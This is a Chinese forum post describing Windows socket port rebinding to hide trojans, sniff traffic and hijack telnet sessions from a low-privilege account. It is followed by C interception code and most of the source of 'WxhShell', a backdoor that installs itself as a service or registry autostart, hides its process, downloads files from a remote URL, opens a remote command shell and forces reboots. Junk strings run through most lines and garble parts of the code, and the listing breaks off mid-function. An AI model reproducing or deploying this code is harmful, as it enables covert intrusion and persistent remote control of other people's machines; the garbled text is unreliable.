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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :icpPv  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vD2(M1Q  
Lm!]m\LRZD  
  saddr.sin_family = AF_INET; ox<6qW  
C:&Sk\   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wGMoh.GTh  
>~7XBb08  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3;b)pQ~6CJ  
mGg/F&G9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {88|J'*L  
D',7T=C   
  这意味着什么?意味着可以进行如下的攻击:  e4_A`j'  
RpU i'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tn,_0  
8S#&XS>o  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P$Y w'3v/  
nQ'NS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sBWyUD  
HQF@@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  oFyB-vpYQV  
xc'uC bH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 VWd`06'BN'  
KBi(Ns#+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u*qI$?&  
_)LXD,LA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <:(;#&<  
d|87;;X|u  
  #include VJA/d2Oys  
  #include 0gOca +&  
  #include *EO*Gg0d  
  #include    D\ZH1C!d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Tw%1m  
  int main() Z;u3G4XlF  
  { t?^!OJ:L  
  WORD wVersionRequested; vnf2Z,f%  
  DWORD ret; w"D1mI!L 7  
  WSADATA wsaData; WJ8osWdLu  
  BOOL val; Ymnh%wS  
  SOCKADDR_IN saddr; Qru&lAYc<  
  SOCKADDR_IN scaddr; 3XUVUd~  
  int err; ?FS0zc!+  
  SOCKET s; ]ZR` 6|"VO  
  SOCKET sc; US's`Ehx  
  int caddsize; F `F|.TX  
  HANDLE mt; a` 9pHH:7Q  
  DWORD tid;   -#<{3BJTrz  
  wVersionRequested = MAKEWORD( 2, 2 ); p4\sKF8-  
  err = WSAStartup( wVersionRequested, &wsaData ); y] 9/Xr/  
  if ( err != 0 ) { uDcs2^2l  
  printf("error!WSAStartup failed!\n"); D'moy*E  
  return -1; rkh%[o 9"/  
  } E!WlQr:b$  
  saddr.sin_family = AF_INET; F&CvqPI  
   ZJFF4($qN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >^W6'Q$P<  
vEG7A$Z"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c9@3=6S/  
  saddr.sin_port = htons(23); }"RVUYU  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4a!%eBhX"K  
  { s9Tn|Pm+!\  
  printf("error!socket failed!\n"); t0xE&#4  
  return -1; W}7Uh b  
  } 6o]{< T/'  
  val = TRUE; ',|OoxhbK  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 M a{@b$>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ET H ($$M  
  { y_Gs_xg  
  printf("error!setsockopt failed!\n"); 2S:B%cj9m  
  return -1; m'G=WO*%  
  } mJ[_q >  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @az<D7j2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 $6ucz'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 oFt_ yU-  
h1B_*L   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xe.f]a  
  { xHx_! )7  
  ret=GetLastError(); [(3 %$?[  
  printf("error!bind failed!\n"); 03iy[~Y2  
  return -1; PktnjdFV  
  } p.MLKp-'  
  listen(s,2); V3|" v4  
  while(1) 5&A' +]  
  { yI!W658$6  
  caddsize = sizeof(scaddr); kE+fdr\ T  
  //接受连接请求 @^# 9N!Fj]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DHhty qm  
  if(sc!=INVALID_SOCKET) ^?q(fK%  
  { 9J_vvq`%`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?J+*i d  
  if(mt==NULL) GVf[H2%H  
  { s/3sOb}sA  
  printf("Thread Creat Failed!\n"); "-5FUKI-  
  break; qauvwAMuX  
  } lA6{TH.x  
  } 'UGgY3  
  CloseHandle(mt); P uQ  
  } U5F1m]gFr  
  closesocket(s);  *ni0.  
  WSACleanup(); " :[;}f;  
  return 0; ,s}7KE  
  }   *.A-UoHa  
  DWORD WINAPI ClientThread(LPVOID lpParam) (KvN#d 1\  
  { q+;lxR5D  
  SOCKET ss = (SOCKET)lpParam; cF iTanu  
  SOCKET sc; 3fE0cVG*  
  unsigned char buf[4096]; XCgC^c'  
  SOCKADDR_IN saddr; gH"a MEC  
  long num; zT!.5qd  
  DWORD val; }lq$Fi/  
  DWORD ret; WhFE{-!gX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +,T}x+D  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   31]Vo;D  
  saddr.sin_family = AF_INET; 3 UQBIrQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J!Rqm!)q  
  saddr.sin_port = htons(23);   LR4W  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n(n7"+B  
  { I;<__  
  printf("error!socket failed!\n"); l4I',79l  
  return -1; Y_XRf8Sw  
  } $fPiR  
  val = 100; 3EA_-?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Oz xiT +  
  { !QqVJ a{j  
  ret = GetLastError(); od!s5f!  
  return -1; zQGj,EAM}  
  } qM>Dt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AXo)(\  
  { @P=n{-pIW  
  ret = GetLastError(); ]r#NjP  
  return -1; 96gaun J  
  } >Fe=PRs  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @te}Asv  
  { mEb`ET|  
  printf("error!socket connect failed!\n"); i!<(R$ Lo  
  closesocket(sc); i4SWFa``  
  closesocket(ss); M%!j\}2A  
  return -1; mkgL/h*  
  }  -l"8L;`  
  while(1) xi.QHKBZaH  
  { 2@&"*1(Xu  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0'zjPE#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 UU#$Kt*frR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }$@K   
  num = recv(ss,buf,4096,0); )Dcee@/7S  
  if(num>0) Ghe@m6|D  
  send(sc,buf,num,0); \pI ,6$'  
  else if(num==0) sI4 FgO  
  break; )%: W;H  
  num = recv(sc,buf,4096,0); kWbY&]ZO  
  if(num>0) ZS&lXgo  
  send(ss,buf,num,0); h`tf!MD]  
  else if(num==0) /pGx !  
  break; i-sm9K'ns  
  } k6;pi=sYNW  
  closesocket(ss); $7Tj<;TV  
  closesocket(sc); S;{[];  
  return 0 ; 9q^7%b,  
  } 3 "|A5>Vo  
C+C1(b;1  
0.wN&:I8t  
========================================================== :yOJL [x  
pQm-Hr78j  
下边附上一个代码,,WXhSHELL v1NFz>Hx  
,`$2  
========================================================== (<|1/^~=  
q}&+{dN\1  
#include "stdafx.h" U71A#OD^U  
$K 1)2WG  
#include <stdio.h> Vl:M6d1  
#include <string.h> (g tOYEqx  
#include <windows.h> MR* % lZpB  
#include <winsock2.h> Sh<A936/E  
#include <winsvc.h> (B].ppBii  
#include <urlmon.h> hLyV'*}  
<9Ytv|t@0  
#pragma comment (lib, "Ws2_32.lib") L\t!)X-4  
#pragma comment (lib, "urlmon.lib") 4DGKZh'm"  
<@v|~ AO4~  
#define MAX_USER   100 // 最大客户端连接数 b]WvKdq  
#define BUF_SOCK   200 // sock buffer oIKuo~  
#define KEY_BUFF   255 // 输入 buffer kChCo0Q>1  
uD`Z\@Z  
#define REBOOT     0   // 重启 =?hbi]  
#define SHUTDOWN   1   // 关机 H|cxy?iJ  
G?+]BIiL  
#define DEF_PORT   5000 // 监听端口 mldY/;-H!1  
G;AV~1i:~  
#define REG_LEN     16   // 注册表键长度 3cFvS[JG  
#define SVC_LEN     80   // NT服务名长度 :XO7#P  
>LFj@YW_)  
// 从dll定义API Nw3IDy~T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i32S(3se  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); * \ tR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N)YoWA>#bF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2u} ns8wn  
#XAH`L\  
// wxhshell配置信息 7"{CBbT  
struct WSCFG { M[&p[P@  
  int ws_port;         // 监听端口 6c[ L*1  
  char ws_passstr[REG_LEN]; // 口令 Nbm$ta  
  int ws_autoins;       // 安装标记, 1=yes 0=no vLcOZ^iK  
  char ws_regname[REG_LEN]; // 注册表键名 `6G:<wX  
  char ws_svcname[REG_LEN]; // 服务名 u$1^=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #pMpGw$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 w8-L2)Q}I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RSF@Oo{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,,V uvn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /oU$TaB>(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *zDL 5 9  
ze#ncnMo  
}; GF*E+/ ;  
HK.Si]:  
// default Wxhshell configuration 7+J<N@.d  
struct WSCFG wscfg={DEF_PORT, I]N!cEr;@-  
    "xuhuanlingzhe", dcN4N5r  
    1, pR~"p#Y  
    "Wxhshell", Ns[.guWu-  
    "Wxhshell", 7FP @ vng  
            "WxhShell Service", +|spC  
    "Wrsky Windows CmdShell Service", \ id(P3M  
    "Please Input Your Password: ", _jk+$`[9PL  
  1, ~*G}+Ur$2  
  "http://www.wrsky.com/wxhshell.exe", z&A# d  
  "Wxhshell.exe" O u{|o0  
    }; j(Tk6S  
toC|vn&P  
// 消息定义模块 .J9\Fr@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8"x\kSMb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <``krPi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H~ =;yy  
char *msg_ws_ext="\n\rExit."; Z , 98  
char *msg_ws_end="\n\rQuit."; VD2o#.7*eu  
char *msg_ws_boot="\n\rReboot..."; }+ TA+;  
char *msg_ws_poff="\n\rShutdown..."; t? _{  
char *msg_ws_down="\n\rSave to "; `qr.@0whP  
vb k4  
char *msg_ws_err="\n\rErr!"; :j% B(@b  
char *msg_ws_ok="\n\rOK!"; g+u5u\k  
._}Dqg$  
char ExeFile[MAX_PATH]; <+; cgF!+  
int nUser = 0; 4ak} "Z  
HANDLE handles[MAX_USER]; N+ei)-  
int OsIsNt; is=|rY9$  
x!9bvQT  
SERVICE_STATUS       serviceStatus; yI*h"?7T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;?!pcvUi  
[E/^bM+  
// 函数声明 0,[- 4m  
int Install(void); R~XNF/QMl  
int Uninstall(void); ;Q%3WD  
int DownloadFile(char *sURL, SOCKET wsh); ;F>I+l_X  
int Boot(int flag); %Z#[{yuFs  
void HideProc(void); Y t0s  
int GetOsVer(void); %v1*D^))  
int Wxhshell(SOCKET wsl); IHf#P5y_  
void TalkWithClient(void *cs); o|c"W}W  
int CmdShell(SOCKET sock); 3x~AaC.j  
int StartFromService(void); <fcw:Ae  
int StartWxhshell(LPSTR lpCmdLine); <=!|U0YV  
k.w}}78N2N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \b|Q`)TK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -*&C "%e  
mi{ r7.e5I  
// 数据结构和表定义 B?<Z(d7  
SERVICE_TABLE_ENTRY DispatchTable[] =  ,zrShliU  
{ ?anKSGfj  
{wscfg.ws_svcname, NTServiceMain}, 2HJGp+H  
{NULL, NULL} %c,CfhEV%&  
}; m3iB`  
G@Vz }B:=  
// 自我安装 Z~Z+Yt;,9a  
int Install(void) +\`t@Ht#  
{ 9w,u4q  
  char svExeFile[MAX_PATH]; "]{"4qV1=  
  HKEY key; 1'g{tP"d  
  strcpy(svExeFile,ExeFile); mnWbV\VY  
W/| C  
// 如果是win9x系统,修改注册表设为自启动 z6J fu:_N!  
if(!OsIsNt) { H!ISQ8{V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i3\6*$Ug  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9k>=y n  
  RegCloseKey(key); <S%kwS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @IwVR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QG=&{-I~[3  
  RegCloseKey(key); SB`"%6  
  return 0; U?Icyn3q0  
    } HFd>UdT%  
  } -}2e+DyAy  
} * E3 c--  
else { B3|rO  
]&/KAk  
// 如果是NT以上系统,安装为系统服务 jo8;S?+<|?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h 66X746  
if (schSCManager!=0) Eq?d+s>  
{ dd%-bI^  
  SC_HANDLE schService = CreateService p~THliwd  
  ( 6 bnuC  
  schSCManager, &OSyU4r  
  wscfg.ws_svcname, g?caE)  
  wscfg.ws_svcdisp, j;b<oQH  
  SERVICE_ALL_ACCESS, HR83{B21  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ePJtdKN:  
  SERVICE_AUTO_START, !56gJJ-r  
  SERVICE_ERROR_NORMAL, R]{AJ"p  
  svExeFile, 2i~qihx5^  
  NULL, [,fdNxc8  
  NULL, &$</|F)y  
  NULL, 5U/1Z{  
  NULL, J]|lCwF  
  NULL \dag~b<  
  ); \LS+.bp%  
  if (schService!=0) z~BrKdS  
  { 6|D,`dk3U  
  CloseServiceHandle(schService); VX;tg lu2  
  CloseServiceHandle(schSCManager); t7p`A8&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~|~j01#  
  strcat(svExeFile,wscfg.ws_svcname); 8oj-5|ct  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H-,RzL/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ){oVVLs  
  RegCloseKey(key); W}5H'D  
  return 0; _(8HK  
    } h7S&tW GU  
  } wB;'+d&  
  CloseServiceHandle(schSCManager); q:1_D>  
} z!I(B^)BkT  
} Bu$GCSrX  
:K6(`J3Y"^  
return 1; o= %Fh  
} uvrfR?%QK  
1=t\|Th-  
// 自我卸载 ZkJYPXdn?  
int Uninstall(void) jF\J+:5M  
{ d6.9]V?  
  HKEY key; ^vJPeoW  
[T.BK:  
if(!OsIsNt) { .baS mfc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7^~pOFdH  
  RegDeleteValue(key,wscfg.ws_regname); -vfV;+3  
  RegCloseKey(key); {-]/r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oIM]  
  RegDeleteValue(key,wscfg.ws_regname); ya'@AJS  
  RegCloseKey(key); hsQrHs'k  
  return 0; ?eb2T`\0Q  
  } [-sE:O`yt  
} [N/[7Q/y  
} u= K?K  
else { gi7As$+E  
n8M/Y}mH   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  F%6`D  
if (schSCManager!=0) imtW[y+4  
{ j]"Yz t~u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); UP]J `\$o  
  if (schService!=0) m GWT</=[$  
  { OZ q/'*  
  if(DeleteService(schService)!=0) { WbS2w @8  
  CloseServiceHandle(schService); <bf^'$l  
  CloseServiceHandle(schSCManager); <&o `T4  
  return 0; Q H%{r4  
  } |400N +MK  
  CloseServiceHandle(schService); T] nZ3EZ  
  } 5U[;T]{)e  
  CloseServiceHandle(schSCManager); )(&g\  
} X!n-nms  
} Kk~0jP_B9  
U"xI1fg%b  
return 1; Z8=4cWI~;  
} *4^!e/  
6!i0ioZzi0  
// 从指定url下载文件 ~`MGXd"o  
int DownloadFile(char *sURL, SOCKET wsh) %rT XT  
{ M)#R_(Q5{  
  HRESULT hr; Ox&g#,@h  
char seps[]= "/"; R9yK"  
char *token; O;:8mm%(  
char *file; ^AD/N|X^  
char myURL[MAX_PATH]; 'MM#nQ\(  
char myFILE[MAX_PATH]; 2D MH@U2  
~R)Km`t  
strcpy(myURL,sURL); S&V5zB""n  
  token=strtok(myURL,seps); }d)>pH  
  while(token!=NULL) Z\{WBUR;4t  
  { )4a&OlEI  
    file=token; CPGXwM=   
  token=strtok(NULL,seps); e@L'H)w,  
  } h2KXW}y"4  
11 .RG *  
GetCurrentDirectory(MAX_PATH,myFILE); HqU"i Y>b  
strcat(myFILE, "\\"); 3;j?i<kM  
strcat(myFILE, file); }_M .-Xm  
  send(wsh,myFILE,strlen(myFILE),0); A{;b^ IK  
send(wsh,"...",3,0); 3u7E?*{sH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r}QW!^F  
  if(hr==S_OK) ;=6 ++Oq  
return 0; 8@/]ki `>  
else v^[Ny0cM  
return 1; }qW%=;!  
`2NL'O:  
} 8\y%J!b  
gzP(Lf I5  
// 系统电源模块 xN}P0  
int Boot(int flag) 0pu])[P]_[  
{ L"tj DAV  
  HANDLE hToken; bsPwTp^  
  TOKEN_PRIVILEGES tkp; x-Z`^O  
:%A1k2  
  if(OsIsNt) { C|W_j&S65  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X?Omk, '  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FWdSpaas Q  
    tkp.PrivilegeCount = 1; ZH`6>:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TRAs5I%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q?Q"Ab  
if(flag==REBOOT) { n\*>m p)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *`);_EVc  
  return 0; t3Q;1#Zf  
} 9))%tYN  
else { !hF b <  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rP;Fh|w#  
  return 0; 3 T Q#3h  
} Y.i<7pBt  
  } KE16BjX@  
  else { ; ZL<7tLDb  
if(flag==REBOOT) { =}r&>|rrJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %o#D"  
  return 0;  X\ \\RCp  
} N(}7M~m>  
else { &N*S   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0wZLkU_(  
  return 0; {*t'h?b  
} Fm,A<+l@u  
} xwT"Q=|kW  
@OFl^U0/  
return 1; ERGDo=j  
} X'jEI{1w  
0V}vVAa(B  
// win9x进程隐藏模块 @w6^*Z_hQ  
void HideProc(void) HC4ad0Gs+{  
{ >}u?{_s *0  
,A =%!p+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b\gl9"X  
  if ( hKernel != NULL ) XT~JP  
  { ;b cy(Fp,\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XOgX0cRC4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +5?hkQCX1^  
    FreeLibrary(hKernel); D}cq_|mmn[  
  } G5=(3V%  
U`:#+8h-}  
return; 5:CC\!&QBV  
} ^67P(h  
$NG}YOP)@  
// 获取操作系统版本 `z5j  
int GetOsVer(void) ;-^WUf |  
{ %'4dg k  
  OSVERSIONINFO winfo; jDgiH}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^bL.|vB  
  GetVersionEx(&winfo); eiP>?8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kc|`VB8L  
  return 1; pwd7I  
  else wm*`  
  return 0; mkj`z  
} b |m$ W  
8DLR  
// 客户端句柄模块  U@m<  
int Wxhshell(SOCKET wsl) \~jt7 Q  
{ v]U[7 j  
  SOCKET wsh; >0@X^o  
  struct sockaddr_in client; "H%TOk7l  
  DWORD myID; CL9p/PJ%e  
evg i\"  
  while(nUser<MAX_USER) z~o%U&DO}  
{ }Ss#0Gee  
  int nSize=sizeof(client); >\} 2("bv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lJKhP  
  if(wsh==INVALID_SOCKET) return 1; N1P [&lR  
l+R-lsj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uA:;OM}  
if(handles[nUser]==0) N<Y-]xS  
  closesocket(wsh); rI; e!EW  
else vh?({A#>.E  
  nUser++; }6C&N8 f  
  } tPC8/ntP8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R*Pfc91}  
b*dRNu  
  return 0; c 0!bn b  
} q* Ns]f'a  
;13lu1  
// 关闭 socket (.%:Q0i1  
void CloseIt(SOCKET wsh) 7ou2SL}k  
{ $Xz9xzOR  
closesocket(wsh); kc~Z1  
nUser--; !p&M,6  
ExitThread(0); GsqrKrbJ  
} k[Uc _=  
Zn #ri 8S  
// 客户端请求句柄 OX|/yw8  
void TalkWithClient(void *cs) h5Qxa$Oq  
{ HOykmx6$  
lP9a*>=a  
  SOCKET wsh=(SOCKET)cs; :Nc~rOC _  
  char pwd[SVC_LEN]; rCYNdfdpp  
  char cmd[KEY_BUFF]; 1/a*8vuGh  
char chr[1]; YDjQ&EH  
int i,j; m>zUwGYEu  
vuDp_p*]S  
  while (nUser < MAX_USER) { JguE#ob2  
IO^O9IEx,  
if(wscfg.ws_passstr) { JO+ hD4L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fcJ#\-+E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `'Z ;+h]  
  //ZeroMemory(pwd,KEY_BUFF); Qkr'C n  
      i=0; z ; :E~;  
  while(i<SVC_LEN) { zFB$^)v"<  
z<^HohT  
  // 设置超时 tBrd+}e2*  
  fd_set FdRead; js8uvZ i  
  struct timeval TimeOut; VD36ce9  
  FD_ZERO(&FdRead); _e~EQ[,  
  FD_SET(wsh,&FdRead); <0R?#^XBZB  
  TimeOut.tv_sec=8; u^ngD64  
  TimeOut.tv_usec=0; : ]CZS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d+2I+O03  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [.Kia >  
iOki ZN+d>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QdC>fy  
  pwd=chr[0]; r(cS{oni  
  if(chr[0]==0xd || chr[0]==0xa) { PJA 1/"  
  pwd=0; c/T]=S[  
  break; G;fP  
  } ua4QtDSs  
  i++; c?<FMb3]  
    } rf)\:75  
^>9M2O['!s  
  // 如果是非法用户,关闭 socket n]9y Cr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J,{sRb%  
} ]lZ!en  
?1OS%RBF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l Fzb$k}_{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q^fli"_ :  
E@ t~juF!  
while(1) { ,6a'x~y<r  
<bGSr23*  
  ZeroMemory(cmd,KEY_BUFF); ~(I\O?k>H  
BszkQ>#6  
      // 自动支持客户端 telnet标准   3TtnLay.k  
  j=0; #<v3G)|aS  
  while(j<KEY_BUFF) { *]x]U >EF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ae`K 9  
  cmd[j]=chr[0]; $qIMYX  
  if(chr[0]==0xa || chr[0]==0xd) { gtCd#t'(V  
  cmd[j]=0; q7m-} mBN~  
  break; !y4o^Su[  
  } "'6KQnpZ  
  j++; U&`M G1uHe  
    } lg1?g)lv  
F5+f?B~?R?  
  // 下载文件 n6L}#aZG  
  if(strstr(cmd,"http://")) { SwSBQq%h]M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h7*fjw-Xz[  
  if(DownloadFile(cmd,wsh)) :j?Lil%R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HlI*an  
  else c1MALgK~}\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RE *UIh*O  
  } 9O@ eJ$  
  else { pmQ9i A@=  
(zgXhx_!D  
    switch(cmd[0]) { 9.1%T06$  
  fS!%qr  
  // 帮助 #\t?`\L3  
  case '?': { RUO,tB|(_;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6I_W4`<VeZ  
    break; dk{yx(Ty  
  } ->K*r\T  
  // 安装 4V<s"  
  case 'i': { `+]4C+w  
    if(Install()) BhdJ/C^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FeSe^^dW  
    else M@s2T|bQw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L F Z  
    break; g<}K^)x  
    } uWi+F)GS^K  
  // 卸载 W~dS8B=<  
  case 'r': { }v@w(*)h:  
    if(Uninstall()) /Pi{Mv eZM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [",W TZ:  
    else =wI ,H@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uF@Q8 7G  
    break; 8~rD#8`6j  
    } `C] t2^  
  // 显示 wxhshell 所在路径 _j <46^  
  case 'p': { #Du1(R  
    char svExeFile[MAX_PATH]; $Wb"X=}tl  
    strcpy(svExeFile,"\n\r"); cq@8!Eu w]  
      strcat(svExeFile,ExeFile); h7I_{v8  
        send(wsh,svExeFile,strlen(svExeFile),0); IY,&/MCh  
    break; *>S\i7RET  
    } Td"f(&Hk&  
  // 重启 oDM}h +  
  case 'b': { <P}{0Y~@*W  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >RF[0s'-  
    if(Boot(REBOOT)) $S=lm {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /-G;#Wm  
    else { ~G5)ya-  
    closesocket(wsh); <\2,7K{{+;  
    ExitThread(0); j"J2&Y2  
    } M<g>z6   
    break; LuR.;TiW  
    } >9Ub=tZm  
  // 关机 .T4"+FTzP  
  case 'd': { NaB8cLURp  
